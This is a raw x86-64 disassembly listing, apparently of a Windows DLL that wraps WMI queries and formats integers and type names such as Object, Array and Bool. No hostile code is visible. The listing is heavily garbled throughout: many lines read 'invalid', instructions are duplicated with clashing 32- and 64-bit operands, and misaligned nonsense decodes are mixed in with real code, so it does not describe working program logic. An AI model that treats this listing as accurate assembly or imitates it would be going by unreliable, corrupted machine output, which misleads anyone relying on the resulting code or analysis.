add rbx, 8
mov rcx, rbx
mov ecx, ebx
mov ecx, ebx
call case.0x180046f5f.345
jmp case.0x18004bb8b.432
invalid
mov rcx, qword [rbx + 8]
mov ecx, dword [rbx + 8]
or byte [rax - 0x75], cl
add edi, edi
push rax
mov rax, qword [rcx]
call qword [rax + 0x10]
invalid
adc bl, ch
jmp case.0x18004bb8b.432
adc dword [rcx + rcx*8 - 0x74b7f28c], eax
test cl, cl
je case.0x18004bb8b.432
mov rcx, qword [rbx + 8]
mov ecx, dword [rbx + 8]
or byte [r8 - 0x75], cl
or byte [rax - 0x75], cl
mov rdx, qword [rbx + 0x10]
push rbx
adc al, ch
invalid
call case.0x180046113.1274
movaps xmm6, xmmword [rsp + 0x290]
add al, byte [rax]
add byte [rax - 0x7f], cl
invalid
invalid
add byte [rax], al
add rsp, 0x2a8
pop rbx
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop r15
ret
mov ecx, 8
or byte [rax], al
add byte [rax], al
mov edx, 0x20
add byte [rax], al
add al, ch
fdiv dword [rbx]
add byte [rax], al
call fcn.180069620
int3
add dword [rax - 0x7d], ecx
clc
adc byte [rdi + 0x11], dh
invalid
adc dword [rax - 0x73], ecx
adc eax, 0x1d7ff
call rdi
add dword [rax], eax
lea rdx, [0x180083a58]
call rdi
xlatb
add dword [rax], eax
add byte [rax + 0x63], cl
add al, 0x82
movsxd rax, dword [rdx + rax*4]
add rax, rdx
add eax, edx
jmp rax
ret
mov rax, qword [rcx + 8]
mov eax, dword [rcx + 8]
or byte [r8 - 0x75], cl
push rcx
adc byte [rax - 0x77], cl
shr ecx, 0x70
loopne 0x180066271
mov rdx, qword [rcx + 0x10]
mov edx, dword [rcx + 0x10]
mov rcx, rax
jmp case.0x180046113.1274
invalid
invalid
dec dword [rbx + rcx*4 + 0x41]
adc byte [rbp - 0x7b], cl
mov r8, qword [rcx + 0x10]
test r8, r8
adc byte [r13 - 0x7b], cl
sal byte [rsi + riz*8 + 0x48], 0x8b
or byte [r10 + 1], dil
add dword [rax], eax
add byte [rax], al
je case.0x18002bb9c.1315
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
mov edx, 1
add dword [rax], eax
add byte [rax], al
jmp fcn.1800097d8
dec dword [rax - 0x7d]
in al, dx
pop rax
sub rsp, 0x58
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x1800662d2
test al, 0x20
jne 0x1800662db
mov al, byte [rcx]
mov r8d, eax
mov eax, eax
mov eax, eax
sar r8b, 7
mov ecx, eax
xor cl, r8b
xor cl, al
invalid
xor cl, al
rol dword [rax + rbp - 0x3f], 0x80
stc
jb 0x1800662e6
jb 0x1800662e6
sub cl, r8b
rol dword [rax + 0x377264f9], 0
leave
cmp cl, 0x64
jb 0x1800662e6
add cl, cl
add cl, 0x38
movzx ecx, cl
mov dh, 0xc9
mov dh, 0xc9
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
lea eax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
add byte [rdx + 0xf], al
mov bh, 0xc
invalid
movzx ecx, word [rcx + r8]
or al, 1
add dword [rsi - 0x77], esp
mov word [rsp + 0x56], cx
and al, 0x56
and al, 0x56
mov r8d, 0x24
mov cl, 1
add byte [rcx + 0x481feb01], dh
add esp, 0x58
pop rax
jmp 0x1800662f1
add rsp, 0x58
pop rax
jmp 0x180029b60
cld
dec dword [rdx - 0x3b7cb7f7]
pop rax
mov cl, byte [rcx]
add rsp, 0x58
jmp 0x180029100
sbb ch, byte [rsi]
cld
inc dword [rcx - 0x48]
add byte es:[rax], al
add byte [rax], al
mov r8d, 0x26
add byte [rax], al
add byte [rax + 0xa730af9], al
cmp cl, 0xa
jae 0x1800662fb
or dh, byte [rbx + 0xa]
or cl, 0x30
mov byte [rsp + r8 + 0x31], cl
mov byte [rsp + rax + 0x31], cl
mov byte [rsp + rax + 0x31], cl
jmp case.0x18002ac81.1330
sbb cl, byte [rdi]
mov dh, 0xc9
leave
movzx ecx, cl
leave
lea r8, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
add eax, 0xb2cb
movzx ecx, word [r8 + rcx*2]
mov word [rsp + 0x56], cx
mov word [rsp + 0x56], cx
and al, 0x56
mov r8d, 0x25
and eax, 0x4a000000
lea rcx, [rsp + r8]
lea ecx, [rsp + rax]
add al, 0x48
add ecx, 0x31
add rcx, 0x31
mov r9d, 0x27
add byte [rax], al
sub r9, r8
ror dword [rcx + rcx*4 + 0x4c], 0x24
mov qword [rsp + 0x28], r9
and al, 0x28
sub byte [rax - 0x77], cl
mov qword [rsp + 0x20], rcx
and al, 0x20
and dh, dh
rol al, 1
call 0x18593af3f
invalid
invalid
invalid
invalid
push rsp
not al
shr al, 7
invalid
invalid
lea r8, [0x180081690]
mov bl, 1
add byte [rax - 0x77], cl
add dword [rax], eax
mov rcx, rdx
ror dword [rcx - 0x36ceba3e], 1
mov edx, eax
xor r9d, r9d
xor ecx, ecx
call fcn.180020560
nop
add rsp, 0x58
pop rax
pop rax
ret
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov rcx, qword [rdx + 8]
mov rax, qword [rdx + 0x18]
or byte [rax - 0x75], cl
or byte [rax - 0x75], cl
sbb byte [rax - 0x7d], cl
cmp rcx, 1
je 0x18006637c
stc
add dword [rbx + rdx + 0x48], esi
test rcx, rcx
test rcx, rcx
jne case.0x18004c0d7.404
adc ecx, dword [rax - 0x7b]
sal byte [rbp + 0xe], 0x48
jne case.0x18004c0d7.404
lea rbx, [0x180081690]
test rax, rax
jne case.0x18004c0d7.404
invalid
mov bl, 1
add bl, ch
jmp 0x1800663bd
test rax, rax
jmp 0x1800663bd
test rax, rax
test eax, eax
je 0x180066392
adc dword [rax - 0x77], ecx
int1
mov rcx, rsi
add rsp, 0x28
add esp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x18001f4b0
invalid
dec dword [rax - 0x75]
add cl, byte [rax - 0x75]
sbb byte [rax - 0x75], cl
js 0x1800663a4
mov rax, qword [rdx]
mov eax, dword [rdx]
mov rbx, qword [rax]
mov rdi, qword [rax + 8]
test rdi, rdi
test edi, edi
je 0x1800663bd
js 0x1800663e8
mov al, byte [0x18008b300]
add eax, 0x24f57
push rdi
add r8b, byte [r8]
xor ecx, ecx
leave
mov rdx, rdi
call fcn.180059d10
pop rbp
cmp edi, edi
dec dword [rax - 0x7b]
invalid
je 0x1800663ec
pop rbp
cmp edi, edi
dec dword [rax - 0x7b]
invalid
sal byte [rsp + rsi + 0x49], 0x89
invalid
mov r14, rax
mov esi, eax
jmp case.0x18005c15f.286
mov r14d, 1
add byte [rax], al
add byte [rcx], dh
dec dword [rcx + rcx*4 - 0xf]
mov rcx, r14
xor edi, edi
mov rcx, r14
int1
mov rdx, rbx
mov r8, rdi
clc
clc
call fcn.180068d66
mov qword [rsi], rdi
invalid
mov qword ds:[rsi + 8], r14
mov qword [rsi + 8], r14
mov qword [rsi + 0x10], rdi
add rsp, 0x28
invalid
pop rbx
sub byte [rbx + 0x5f], bl
pop rdi
pop rsi
pop r14
ret
xor ecx, ecx
leave
jmp case.0x18004d727.379
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov rdx, rdi
cli
call fcn.180069600
invalid
add byte [rax], al
int3
xor al, 0xa8
test al, 0x10
jne 0x180066467
pop rdi
adc byte [rbp + 0x5f], dh
pop rdi
test al, 0x20
and byte [rbp + 0x67], dh
jne 0x180066473
movzx r8d, word [rcx]
mov ecx, r8d
mov ecx, eax
add dword [rcx + rcx*4 - 0x3f], eax
mov ecx, eax
shl dword [rsi - 9], 0xd9
neg cx
neg ecx
cmovs cx, r8w
cmovs ecx, r8d
cmp cx, 0x2710
stc
adc byte [rdi], ah
jb 0x180066482
mov r10w, 0x2710
invalid
mov eax, ecx
xor edx, edx
div r10w
div edx
mov r10w, 0x64
mov ecx, eax
invalid
mov edx, 0xc1890064
ror dword [rcx + 0x66d231d0], 0x41
mov eax, edx
xor edx, edx
div r10w
div edx
sal byte [rcx], 1
shl byte [rsi + 0x41], cl
div edx
movzx eax, ax
movzx eax, ax
movzx edx, dx
lea r10, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx eax, word [r10 + rax*2]
test dword [rcx + 0xf410000], esi
mov bh, 4
mov word [rsp + 0x54], ax
mov dword [rsp + 0x54], eax
movzx eax, word [rdx + rax*2]
mov word [rsp + 0x54], ax
mov dword [rsp + 0x54], eax
movzx eax, word [r10 + rdx*2]
movzx eax, word [rdx + rdx*2]
push rdx
mov word [rsp + 0x56], ax
mov r10d, 0x23
and eax, dword [rax]
add byte [rax], al
and eax, dword [rax]
add byte [rax], al
jmp 0x1800664bc
push rbp
mov rdx, r9
add rsp, 0x58
pop rax
pop rax
jmp 0x180025bd0
movzx ecx, word [rcx]
or dword [rcx + rcx*4 - 0x36], ecx
mov rdx, r9
mov edx, ecx
add rsp, 0x58
jmp 0x18002c310
mov r10d, 0x27
cmp cx, 0x64
cmp ecx, 0x64
add byte [rax], al
add byte [rsi - 0x7d], ah
cmp ecx, 0x64
jb 0x1800664b6
cmp ecx, 0x64
jb 0x1800664b6
mov r10w, 0x64
mov eax, ecx
xor edx, edx
div r10w
div edx
div edx
movzx ecx, dx
lea rdx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx ecx, word [rdx + rcx*2]
retf 0x8d48
mov word [rsp + 0x56], cx
push rsi
mov r10d, 0x25
mov ecx, eax
cmp cx, 0xa
jae 0x1800664c9
or cl, 0x30
mov byte [rsp + r10 + 0x30], cl
leave
xor byte [rdx - 0x78], al
adc al, 0x30
dec r10
jmp 0x1800664e1
retf 0x18eb
movzx eax, cx
lea rcx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
lea ecx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx eax, word [rcx + rax*2]
mov word [rsp + r10 + 0x2f], ax
adc al, 0x2f
mov word [rsp + r10 + 0x2f], ax
adc al, 0x2f
add r10, 0xfffffffffffffffe
test r8w, r8w
setns dl
cdq
ret 0x8d4a
add al, 0x14
cdq
ret 0x8d4a
add al, 0x14
add rax, 0x31
mov ecx, 0x27
sub rcx, r10
sub ecx, edx
invalid
sub ecx, edx
mov qword [rsp + 0x28], rcx
and al, 0x28
mov qword [rsp + 0x20], rax
and al, 0x20
and byte [rbp + rcx*4 + 5], cl
xchg dword [rcx - 0x76b3ffff], esi
leave
lea r8, [0x180081690]
mov rcx, r9
xor r9d, r9d
call fcn.180020560
invalid
invalid
sti
call qword [rax + 0x58c48348]
movabs al, byte [0xc358c4834890fffb]
sti
call qword [rax + 0x58c48348]
ret
push r14
push rsi
push rdi
push rbx
sub rsp, 0x58
sub esp, 0x58
sub esp, 0x58
pop rax
mov r10, rdx
mov eax, dword [rdx + 0x34]
test al, 0x10
jne 0x1800665a8
adc byte [rbp + 0x7b], dh
test al, 0x20
jne 0x1800665bc
add byte [rax], al
add byte [rax], al
mov r8, qword [rcx]
mov r9, r8
ror dword [rcx - 9], 0xd9
ror dword [rcx - 9], 0xd9
invalid
cmovs r9, r8
mov r11d, 0x27
mov ebx, 0x27
add byte [rcx - 0x7f], cl
cmp r9, 0x2710
stc
adc byte [rdi], ah
add byte [rax], al
jb 0x1800665d0
mov r14d, 0x27
mov esi, 0x2710
invalid
add byte [rax], al
mov di, 0x64
mov edi, 0x8d480064
sbb eax, 0xb069
invalid
mov edi, 0x8d480064
sbb eax, 0xb069
lea ebx, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
mov rax, r9
xor edx, edx
div rsi
div esi
enter 0xffffffffffffd231, 0x48
ror byte [rax - 9], cl
test byte [rax - 0x77], 0xc1
invalid
div esi
mov rcx, rax
ror dword [rcx + 0x66d231d0], 0xf7
test dword [rdi], 0xb70fc0b7
movzx eax, ax
movzx edx, dx
invalid
invalid
mov eax, edx
xor edx, edx
div di
movzx eax, ax
movzx edx, dx
lea r11, [r14 - 4]
pop rsi
cld
pop rsi
cld
movzx eax, word [rbx + rax*2]
mov word [rsp + r14 + 0x2d], ax
movzx eax, word [rbx + rdx*2]
mov word [rsp + r14 + 0x2f], ax
xor al, 0x2f
mov r14, r11
cmp r9, 0x5f5e0ff
mov r9, rcx
ja 0x180066567
invalid
shr ebx, 0x2b
jmp 0x1800665d3
mov rcx, qword [rcx]
mov rdx, r10
add rsp, 0x58
pop rax
pop rax
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x180026fa0
invalid
or esp, edi
dec dword [rax - 0x75]
or dword [rcx + rcx*4 - 0x2e], ecx
mov rcx, qword [rcx]
mov rdx, r10
add rsp, 0x58
pop rax
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x18002c480
pop rsi
cld
invalid
pop rsi
cld
dec dword [rcx + rcx*4 - 0x37]
mov rcx, r9
cmp rcx, 0x63
jbe 0x180066601
stc
invalid
mov r9w, 0x64
mov eax, ecx
xor edx, edx
div r9w
int1
add byte [rcx + 0x66d231c8], cl
div r9d
int1
int1
movzx edx, dx
mov bh, 0xd2
movzx ecx, ax
lea rax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
movzx eax, word [rax + rdx*2]
push rax
push rax
mov word [rsp + r11 + 0x2f], ax
add r11, 0xfffffffffffffffe
cmp rcx, 0xa
jae 0x180066614
or cl, 0x30
mov byte [rsp + r11 + 0x30], cl
sbb al, 0x30
xor byte [rdx - 0x78], al
sbb al, 0x30
sbb al, 0x30
sbb al, 0x30
dec r11
jmp 0x180066629
lea rax, str.000102030405060708091011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798990000000000000000000000000000000000000000000000000000000000000000
mov ch, 0xaf
add byte [rax], al
movzx eax, word [rax + rcx*2]
add al, 0x48
mov word [rsp + r11 + 0x2f], ax
add r11, 0xfffffffffffffffe
test r8, r8
test eax, eax
setns dl
lea rax, [rsp + r11]
add rax, 0x31
mov ecx, 0x27
sub rcx, r11
sub ecx, ebx
cdq
ret 0x8d4a
sub ecx, ebx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
lea r8, [0x180081690]
mov rcx, r10
mov ecx, edx
mov ecx, edx
xor r9d, r9d
xor ecx, ecx
call fcn.180020560
nop
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop r14
ret
mov cl, byte [rcx]
jmp 0x180029100
sub bh, ah
dec dword [rbx + 0x10a83442]
jne 0x180025bd0
test dword [rbp + rsi*8 - 5], eax
invalid
movzx ecx, word [rcx]
test al, 0x20
jne 0x18002c310
jmp 0x180026cb0
jne 0x1800666b0
test al, 0x20
je 0x180025550
and byte [rdi], cl
test byte [rbp - 0x16000412], ah
jmp 0x18002c3d0
mov ecx, dword [rcx]
jmp 0x180029ab0
mov eax, dword [rdx + 0x34]
xor al, 0xa8
adc byte [rbp + 0x10], dh
jmp 0x18002c3d0
mov ecx, dword [rcx]
jmp 0x180029ab0
xor al, 0xa8
adc byte [rbp + 0x10], dh
test al, 0x20
je 0x180020440
dec dword [rax - 0x75]
or ecx, ebp
jmp 0x18002c480
mov rcx, qword [rcx]
invalid
retf 0xfc08
mov rcx, qword [rcx]
jmp 0x18002c480
mov rcx, qword [rcx]
jmp 0x180026fa0
invalid
add al, 0xc6
add dword [rax], eax
test rdx, rdx
je 0x1800666ec
mov rax, qword [rdx]
mov rcx, rdx
jmp qword [rax + 0x10]
ret
push rbx
sub rsp, 0x28
mov rsi, rcx
mov rdi, qword [rcx + 8]
mov rbx, qword [rcx + 0x18]
and qword [rcx + 0x10], 0
sub rbx, rdi
shr rbx, 5
mov r14d, 8
mov qword [rcx], r14
xor dword [rdx + 8], edi
xor dword [rdx + 8], edi
xor ecx, ecx
call case.0x18000b703.1294
mov qword [rsi + 8], r14
mov qword [rsi + 0x18], r14
mov dword [rsi + 0x18], esi
mov dword [rsi + 0x18], esi
mov rcx, rdi
mov rdx, rbx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
jmp 0x180064344
or byte [rax - 0x75], cl
push rsi
sbb byte [rax + 0x29], cl
retf 0xc148
mov edx, dword [rsi + 0x18]
sub rdx, rcx
shr rdx, 5
call 0x180064344
dec dword [rax - 0x75]
invalid
mov rcx, qword [rsi + 0x10]
add rsp, 0x20
pop rsi
jmp case.0x18000b703.1294
invalid
dec dword [rax - 0x75]
invalid
cld
dec dword [rax - 0x75]
or ecx, ebp
cmp al, 0xff
invalid
dec dword [rax - 0x75]
add dword [rax - 0x75], ecx
or byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x42], cl
and byte [rbx + rcx*4 + 0x4a], cl
sub byte [rax - 0x77], cl
ret 0xbae9
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x40
mov rdi, rdx
mov rax, qword [rcx]
mov r14, qword [rax + 8]
jo 0x1800667b3
jo 0x1800667b3
mov r15, qword [rax + 0x10]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
lea rdx, [0x18007b4cb]
or eax, 0x4100014d
mov eax, 1
add byte [rax], al
invalid
or eax, 0x4100014d
mov eax, 1
add byte [rax], al
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add bh, bh
call qword [rax + 0x18]
push rax
sbb byte [rax - 0x73], cl
invalid
invalid
je 0x1800667ef
lea rsi, [rsp + 0x30]
mov qword [rsi], rdi
mov byte [rsi + 8], al
xor byte [rax - 0x77], cl
mov byte ds:[rsi + 8], al
mov byte [rsi + 9], 0
shl r15, 5
lea rdi, [0x180066823]
lea rbx, [rsp + 0x28]
test r15, r15
je 0x180066808
mov qword [rsp + 0x28], r14
add r14, 0x20
mov rcx, rsi
mov rdx, rbx
mov r8, rdi
sub byte [rcx - 0x7d], cl
invalid
fimul dword [rcx - 0x77]
clc
call fcn.180027380
add r15, 0xffffffffffffffe0
loopne 0x1800667f2
invalid
mov rcx, qword [rsp + 0x30]
and al, 0x30
mov dl, byte [rsp + 0x38]
push rsp
and al, 0x38
call fcn.1800274c0
nop
call qword [rax + 0x40c48348]
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea r8, [0x180083a9c]
rol byte [rcx], cl
add byte [rcx + 0x63], cl
movsxd rcx, dword [r8 + rcx*4]
movsxd rcx, dword [r8 + rcx*4]
add rcx, r8
add ecx, eax
jmp rcx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x18003d363.0
scasb al, byte [rdi]
add dword [rax], eax
scasb al, byte [rdi]
add dword [rax], eax
mov r8d, 5
jmp 0x1800669f2
invalid
add cl, ch
xchg edi, eax
add dword [rax], eax
add byte [rax - 0x7d], cl
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x180081b68]
mov qword [rsp + 0x20], rax
lea rax, str.Object
add eax, 0x1b2e6
add eax, 0x1b2e6
jmp 0x18006695d
add byte [rax], al
add rax, 8
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
mov qword [r9], rax
mov dword [rcx], eax
lea rax, [0x180081b18]
mov qword [rsp + 0x20], rax
lea rax, str.Array
mov r8d, 5
jmp 0x180066aaa
add dword [rdx], eax
add byte [rax], al
add dword [rdx], eax
add byte [rax], al
add rax, 2
add eax, 2
add eax, 2
lea r9, [rsp + 0x30]
lea ecx, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081aa0]
add dword [rax], eax
add dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, [0x180081a98]
mov cl, 1
add cl, ch
mov al, 1
add byte [rax], al
mov cl, 1
add cl, ch
mov al, 1
add byte [rax], al
add rax, 2
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, [0x180081988]
mov qword [rsp + 0x20], rax
lea rax, [0x180081980]
add eax, 0x1b094
add eax, 0x1b094
mov al, 1
add cl, ch
mov bl, 1
add byte [rax], al
add rax, 4
jmp 0x180066aa4
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081ac8]
lea eax, [0x180081ac8]
lea eax, [0x180081ac8]
mov qword [rsp + 0x20], rax
lea rax, [0x180081ac0]
lea eax, [0x180081ac0]
lea eax, [0x180081ac0]
jmp 0x180066a7d
inc rax
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081a50]
lea eax, [0x180081a50]
lea eax, [0x180081a50]
mov cl, 1
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
add eax, 0x1b115
lea rax, str.Bool
mov r8d, 4
jmp 0x180066aaa
and al, 0x30
mov qword [r9], rax
lea rax, [0x180081938]
scasd eax, dword [rdi]
add dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, [0x180081932]
scasd eax, dword [rdi]
add dword [rax], eax
scasd eax, dword [rdi]
add dword [rax], eax
mov r8d, 6
jmp 0x180066aaa
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x7d], cl
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081b40]
mov qword [rsp + 0x20], rax
lea rax, str.Unknown
mov r8d, 7
invalid
add byte [rax], al
add cl, ch
sbb byte [rcx], al
add byte [rax], al
invalid
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081960]
scasd eax, dword [rdi]
add dword [rax], eax
scasd eax, dword [rdi]
add dword [rax], eax
mov qword [rsp + 0x20], rax
lea rax, [0x180081958]
lea eax, [0x180081958]
lea eax, [0x180081958]
jmp 0x180066aa4
add rax, 4
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081a00]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x1800819f8]
jmp 0x180066aa4
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18008192e]
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x18008192e]
mov r8d, 4
add byte [rax - 0x7d], cl
invalid
add rsp, 0x38
jmp rax
add eax, 4
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x1800819b0]
mov qword [rsp + 0x20], rax
lea rax, [0x1800819a8]
jmp 0x180066aa4
add byte [rax], al
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081af0]
mov qword [rsp + 0x20], rax
lea rax, [0x180081ae8]
jmp 0x180066a7d
or byte [rbp + rcx*4 + 0x4c], cl
and al, 0x30
mov qword [r9], rax
lea rax, [0x1800819d8]
mov qword [rsp + 0x20], rax
lea rax, [0x1800819d0]
jmp 0x180066aa4
lea eax, [0x180081a78]
mov qword [rsp + 0x20], rax
lea rax, [0x180081a70]
mov r8d, 3
jmp 0x180066aaa
ror byte [rax], 0x4c
lea ecx, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x180081a28]
mov qword [rsp + 0x20], rax
lea rax, [0x180081a20]
mov r8d, 2
mov rcx, rdx
mov rdx, rax
call fcn.180027690
nop
add rsp, 0x38
add esp, 0x38
add esp, 0x38
ret
lea edx, [rsp + 0x40]
mov qword [rdx], rcx
lea rcx, [0x1800816a8]
mov qword [rsp + 0x30], rcx
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 5
lea rdx, str.IWbemClassWrapperinnerNullString
lea r9, [0x180081929]
lea ecx, [0x180081929]
lea ecx, [0x180081929]
mov r8d, 0x11
mov rcx, rax
call fcn.1800274f0
nop
add rsp, 0x48
ret
in al, dx
cmp byte [rax - 0x77], cl
ror byte [rax - 0x75], 1
or dword [rbp + rcx*4 + 0x4c], ecx
and al, 0x30
mov qword [r9], rcx
lea rcx, [0x180081740]
mov qword [rsp + 0x20], rcx
mov dword [rsp + 0x20], ecx
lea rdx, [0x180081770]
mov r8d, 0x10
mov rcx, rax
call fcn.180027690
nop
add rsp, 0x38
invalid
cmp bl, al
invalid
or cl, byte [rax - 0x73]
or eax, 0x1abe5
add byte [rax - 0x77], cl
and al, 0x30
add byte [rax - 0x77], cl
and al, 0x30
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 5
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1b013
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x1b013
lea r9, [0x180081929]
lea ecx, [0x180081929]
mov r8d, 0xf
mov rcx, rax
call fcn.1800274f0
or esp, edi
call qword [rax + 0x48c48348]
or esp, edi
call qword [rax + 0x48c48348]
ret
mov eax, 4
add byte [rax], al
mov rcx, rax
jmp fcn.1800217c0
dec dword [rax - 0x73]
adc eax, 0x14975
mov r8d, 5
mov rcx, rax
jmp fcn.1800217c0
stosd dword [rdi], eax
sti
dec dword [rax - 0x75]
or ecx, ebp
and edi, dword [rdi]
cld
dec dword [rax - 0x75]
or ecx, ebp
stc
invalid
mov ecx, dword [rcx]
jmp 0x18006628a
ror dword [rax - 0x73], 0xd
jnp 0x180066baf
invalid
mov ah, 1
add byte [rax - 0x75], cl
add al, 0xc1
add dword [rax], eax
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
loope 0x180066c5c
mov eax, dword [rcx]
movzx eax, byte [rax]
lea r8d, [rax + rax]
or r8, 5
test eax, eax
lea rcx, case.0x18003d363.0
lea rax, [0x1800816e5]
stosb byte [rdi], al
add dword [rax], eax
stosb byte [rdi], al
add dword [rax], eax
cmove rax, rcx
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
mov edx, eax
mov edx, eax
jmp r9
movzx eax, byte [rax]
lea rcx, [0x1800820b8]
mov r8, qword [rcx + rax*8]
lea rcx, case.0x18003d363.0
or eax, 0x1b481
or eax, 0x1b481
mov ah, 1
add byte [rax - 0x75], cl
add al, 0xc1
mov rax, qword [rcx + rax*8]
mov rcx, qword [rdx + 0x20]
mov rdx, qword [rdx + 0x28]
mov r9, qword [rdx + 0x18]
mov rdx, rax
jmp r9
and byte [rax - 0x75], cl
push rdx
sub byte [rbx + rcx*4 + 0x4a], cl
sbb byte [rax - 0x77], cl
ret 0xff49
invalid
invalid
push rdi
push rbx
sub rsp, 0x50
mov rsi, rcx
mov rax, qword [rcx]
mov rcx, rax
inc rcx
je 0x180066d08
lea rdx, [rax + rax]
cmp rdx, rcx
cmp edx, ecx
cmp edx, ecx
cmova rcx, rdx
cmova ecx, edx
xor edx, edx
mov r8, rcx
shr r8, 0x3a
sete dl
cmp rcx, 5
mov ebx, 4
cmovae rbx, rcx
mov r8, rbx
shl r8, 5
ror byte [rcx - 0x77], cl
enter 0xffffffffffffc149, 0xffffffffffffffe8
cmp cl, byte [rdi]
xchg esp, eax
ret 0x8348
shl eax, 5
shl edx, 3
test rax, rax
je 0x180066cd6
shl rax, 5
mov rcx, qword [rsi + 8]
mov ecx, dword [rsi + 8]
mov ecx, dword [rsi + 8]
mov qword [rsp + 0x38], rcx
mov qword [rsp + 0x48], rax
invalid
mov eax, 8
jmp 0x180066cd8
movabs rax, 0xc03102eb00000008
xor eax, eax
lea r9, [rsp + 0x38]
and al, 0x38
mov qword [r9 + 8], rax
lea rdi, [rsp + 0x20]
mov rcx, rdi
call fcn.1800633d4
out 0xc6, al
invalid
dec dword [rax - 0x7d]
invalid
add byte [rbp + 0x1b], dh
out 0xc6, al
invalid
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi], rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
invalid
xor ecx, ecx
call fcn.180069600
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x30]
call fcn.180069600
int3
sub rsi, 1
jb 0x180066d47
